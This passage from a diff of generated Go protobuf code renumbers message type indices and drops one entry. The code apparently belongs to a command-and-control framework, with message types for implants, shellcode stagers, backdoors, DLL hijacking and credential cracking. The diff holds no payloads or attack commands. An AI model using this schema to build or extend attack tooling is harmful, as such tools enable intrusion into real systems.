+ file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Canaries); i {
case 0:
return &v.state
@@ -13276,7 +13923,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*UniqueWGIP); i {
case 0:
return &v.state
@@ -13288,7 +13935,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantProfile); i {
case 0:
return &v.state
@@ -13300,7 +13947,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantProfiles); i {
case 0:
return &v.state
@@ -13312,7 +13959,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*RegenerateReq); i {
case 0:
return &v.state
@@ -13324,7 +13971,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Job); i {
case 0:
return &v.state
@@ -13336,7 +13983,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Jobs); i {
case 0:
return &v.state
@@ -13348,7 +13995,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*KillJobReq); i {
case 0:
return &v.state
@@ -13360,7 +14007,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*RestartJobReq); i {
case 0:
return &v.state
@@ -13372,7 +14019,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*KillJob); i {
case 0:
return &v.state
@@ -13384,7 +14031,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ListenerJob); i {
case 0:
return &v.state
@@ -13396,7 +14043,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MultiplayerListenerReq); i {
case 0:
return &v.state
@@ -13408,7 +14055,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MTLSListenerReq); i {
case 0:
return &v.state
@@ -13420,7 +14067,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*WGListenerReq); i {
case 0:
return &v.state
@@ -13432,7 +14079,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DNSListenerReq); i {
case 0:
return &v.state
@@ -13444,7 +14091,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPListenerReq); i {
case 0:
return &v.state
@@ -13456,7 +14103,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*NamedPipesReq); i {
case 0:
return &v.state
@@ -13468,7 +14115,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*NamedPipes); i {
case 0:
return &v.state
@@ -13480,7 +14127,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*TCPPivotReq); i {
case 0:
return &v.state
@@ -13492,7 +14139,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*TCPPivot); i {
case 0:
return &v.state
@@ -13504,7 +14151,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Sessions); i {
case 0:
return &v.state
@@ -13516,7 +14163,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*RenameReq); i {
case 0:
return &v.state
@@ -13528,7 +14175,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*GenerateReq); i {
case 0:
return &v.state
@@ -13540,7 +14187,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*GenerateStageReq); i {
case 0:
return &v.state
@@ -13552,7 +14199,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Generate); i {
case 0:
return &v.state
@@ -13564,7 +14211,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MSFReq); i {
case 0:
return &v.state
@@ -13576,7 +14223,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MSFRemoteReq); i {
case 0:
return &v.state
@@ -13588,7 +14235,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*StagerListenerReq); i {
case 0:
return &v.state
@@ -13600,7 +14247,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*StagerListener); i {
case 0:
return &v.state
@@ -13612,7 +14259,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ShellcodeRDIReq); i {
case 0:
return &v.state
@@ -13624,7 +14271,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ShellcodeRDI); i {
case 0:
return &v.state
@@ -13636,7 +14283,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MsfStagerReq); i {
case 0:
return &v.state
@@ -13648,7 +14295,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MsfStager); i {
case 0:
return &v.state
@@ -13660,7 +14307,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*GetSystemReq); i {
case 0:
return &v.state
@@ -13672,7 +14319,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MigrateReq); i {
case 0:
return &v.state
@@ -13684,7 +14331,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CreateTunnelReq); i {
case 0:
return &v.state
@@ -13696,7 +14343,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CreateTunnel); i {
case 0:
return &v.state
@@ -13708,7 +14355,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CloseTunnelReq); i {
case 0:
return &v.state
@@ -13720,7 +14367,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*PivotGraphEntry); i {
case 0:
return &v.state
@@ -13732,7 +14379,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*PivotGraph); i {
case 0:
return &v.state
@@ -13744,7 +14391,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Client); i {
case 0:
return &v.state
@@ -13756,7 +14403,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Event); i {
case 0:
return &v.state
@@ -13768,19 +14415,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {
- switch v := v.(*Operators); i {
- case 0:
- return &v.state
- case 1:
- return &v.sizeCache
- case 2:
- return &v.unknownFields
- default:
- return nil
- }
- }
- file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Operator); i {
case 0:
return &v.state
@@ -13792,7 +14427,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*WebContent); i {
case 0:
return &v.state
@@ -13804,7 +14439,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*WebsiteAddContent); i {
case 0:
return &v.state
@@ -13816,7 +14451,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*WebsiteRemoveContent); i {
case 0:
return &v.state
@@ -13828,7 +14463,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Website); i {
case 0:
return &v.state
@@ -13840,7 +14475,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Websites); i {
case 0:
return &v.state
@@ -13852,7 +14487,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*WGClientConfig); i {
case 0:
return &v.state
@@ -13864,7 +14499,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Loot); i {
case 0:
return &v.state
@@ -13876,7 +14511,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*AllLoot); i {
case 0:
return &v.state
@@ -13888,7 +14523,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*IOC); i {
case 0:
return &v.state
@@ -13900,7 +14535,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ExtensionData); i {
case 0:
return &v.state
@@ -13912,7 +14547,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Host); i {
case 0:
return &v.state
@@ -13924,7 +14559,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*AllHosts); i {
case 0:
return &v.state
@@ -13936,7 +14571,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DllHijackReq); i {
case 0:
return &v.state
@@ -13948,7 +14583,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DllHijack); i {
case 0:
return &v.state
@@ -13960,7 +14595,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*BackdoorReq); i {
case 0:
return &v.state
@@ -13972,7 +14607,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Backdoor); i {
case 0:
return &v.state
@@ -13984,7 +14619,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ShellcodeEncodeReq); i {
case 0:
return &v.state
@@ -13996,7 +14631,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ShellcodeEncode); i {
case 0:
return &v.state
@@ -14008,7 +14643,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ShellcodeEncoderMap); i {
case 0:
return &v.state
@@ -14020,7 +14655,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ExternalGenerateReq); i {
case 0:
return &v.state
@@ -14032,7 +14667,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Builders); i {
case 0:
return &v.state
@@ -14044,7 +14679,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Builder); i {
case 0:
return &v.state
@@ -14056,7 +14691,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2Configs); i {
case 0:
return &v.state
@@ -14068,7 +14703,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*C2ProfileReq); i {
case 0:
return &v.state
@@ -14080,7 +14715,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2ConfigReq); i {
case 0:
return &v.state
@@ -14092,7 +14727,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2Config); i {
case 0:
return &v.state
@@ -14104,7 +14739,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2ServerConfig); i {
case 0:
return &v.state
@@ -14116,7 +14751,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2ImplantConfig); i {
case 0:
return &v.state
@@ -14128,7 +14763,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2Cookie); i {
case 0:
return &v.state
@@ -14140,7 +14775,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2Header); i {
case 0:
return &v.state
@@ -14152,7 +14787,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2URLParameter); i {
case 0:
return &v.state
@@ -14164,7 +14799,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*HTTPC2PathSegment); i {
case 0:
return &v.state
@@ -14176,7 +14811,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Credential); i {
case 0:
return &v.state
@@ -14188,7 +14823,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Credentials); i {
case 0:
return &v.state
@@ -14200,7 +14835,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Crackstations); i {
case 0:
return &v.state
@@ -14212,7 +14847,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackstationStatus); i {
case 0:
return &v.state
@@ -14224,7 +14859,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackSyncStatus); i {
case 0:
return &v.state
@@ -14236,7 +14871,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackBenchmark); i {
case 0:
return &v.state
@@ -14248,7 +14883,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackTask); i {
case 0:
return &v.state
@@ -14260,7 +14895,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Crackstation); i {
case 0:
return &v.state
@@ -14272,7 +14907,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CUDABackendInfo); i {
case 0:
return &v.state
@@ -14284,7 +14919,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*OpenCLBackendInfo); i {
case 0:
return &v.state
@@ -14296,7 +14931,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MetalBackendInfo); i {
case 0:
return &v.state
@@ -14308,7 +14943,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackCommand); i {
case 0:
return &v.state
@@ -14320,7 +14955,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackConfig); i {
case 0:
return &v.state
@@ -14332,7 +14967,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackFiles); i {
case 0:
return &v.state
@@ -14344,7 +14979,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackFile); i {
case 0:
return &v.state
@@ -14356,7 +14991,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrackFileChunk); i {
case 0:
return &v.state
@@ -14368,7 +15003,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MonitoringProviders); i {
case 0:
return &v.state
@@ -14380,7 +15015,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*MonitoringProvider); i {
case 0:
return &v.state
@@ -14392,7 +15027,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} {
